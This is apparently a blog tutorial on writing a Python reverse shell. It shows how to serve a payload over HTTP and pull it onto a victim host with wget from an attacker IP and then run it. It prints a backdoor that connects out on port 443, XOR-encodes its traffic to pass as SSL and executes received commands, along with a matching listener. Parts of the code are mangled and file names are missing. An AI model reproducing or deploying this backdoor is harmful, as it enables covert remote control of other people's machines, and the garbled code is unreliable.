Reverse shell written in Python

This blog post will demonstrate how you can leverage Python to create a reverse shell.  First we will show how to leverage the web server functionality to move files from one host to another.  Say for example you have a raw shell on a potential victim and want to pull over a Python reverse shell(or meterpreter binary) to have better access to the host.  You could quickly start up a Python web server in a single line of Code and then pull the file over.

To create a python HTTP server the built-in function “SimpleHTTPServer” can be leveraged.  You can invoke a module directly from the command line with switch “-m”.  By default the listener will start on port 8000, but you can specify the port you’d like to use as an argument:

python -m SimpleHTTPServer 80
Serving HTTP on
Now assuming you don’t have a firewall blocking connections you should be able to issue requests to the server. You can place your python shell in the same directory that you started the Python HTTP server and it should be accessible by a remote client. Here is an example of how you might want to leverage wget. I find it very common in cases where you land an initial web shell that you don’t have permission to write in the current working directory, and you lack the ability to change directories. So to solve the problem you can do the following:
# Switch -O allows you to output to another directory - /tmp/ is often writable
wget -O /tmp/ http://<attacker_ip>/
# Change permissions
chmod a+x /tmp/
# Always a good idea to make sure the file pulled over properly
# Run the python shell
/usr/bin/python /tmp/
Now lets take a look at the actual code for the backdoor. We will be leveraging the socket and subprocess module to interact with OS. I really like the subprocess module because it allows you to store STDOUT to a variable which can be fiddled with further in a script. To add a layer of obfuscation we will XOR the data sent over the wire and send it out port 443. This is because this port is commonly used to transfer SSL data and XOR’d data could easily blend in:
RHOST =sys.argv[1]
RPORT =443
s =socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
     # recieve XOR encoded data from network socket
     data =s.recv(1024)
     # XOR the data again with a 'x41' to get back to normal data
     en_data =bytearray(data)
     fori inrange(len(en_data)):
       en_data[i] ^=0x41
     # Execute the decoded data as a command.  The subprocess module is great because we can PIPE STDOUT/STDERR/STDIN to a variable
     comm =subprocess.Popen(str(en_data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
     STDOUT, STDERR =comm.communicate()
     # Encode the output and send to RHOST
     en_STDOUT =bytearray(STDOUT)
     fori inrange(len(en_STDOUT)):
       en_STDOUT[i] ^=0x41

The code above builds on the concepts we covered in tutorial 0x1 but in addition to making a socket connection we are now executing a command with the subprocess module. The subprocess module is very handy because it allows you to redirct STDOUT/STDERR from commands to a variable. We can then encode the output from a command and send it over the network socket. The nice thing about XOR’n data is that you can easily reverse the encoding by XOR’n the same data over again with the same key to get back to normal. This is allows us to quickly encode the data and pass it over the wire, then decode the data to execute the command in clear-text.

Now in order to successfully use this backdoor we will need to have a listener on the other end to XOR the data again so we can see clear-text. Below is a listener designed to catch the reverse shell and decode/encode the input/output properly so we can see clear-text on our terminal, but packet contents are XOR encoded.

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("", 443))
print"Listening on port 443... "
(client, (ip, port)) =s.accept()
print" Received connection from : ", ip
 command =raw_input('~$ ')
 encode =bytearray(command)
 fori inrange(len(encode)):
   encode[i] ^=0x41
 decode =bytearray(en_data)
 fori inrange(len(decode)):
   decode[i] ^=0x41
This is a very fun use case for Python because everyone likes shells! This can be adapted to work with Windows by using PyInstaller to compile the Python script to an executable. For practice try encoding/decoding the data using base64 instead of XOR, this can help to build up you Python skills. – Manny Cuevas

Manny Cuevas

My name is Manny Cuevas a Security Researcher / Engineer for about 15 years that focuses on Web and Mobile applications and other platforms from the Island of Sulu, Philippines. I’m also a scientist, inventor and a top ranked hacker in the world that bypass all security systems.


Leave a Reply

Your email address will not be published. Required fields are marked *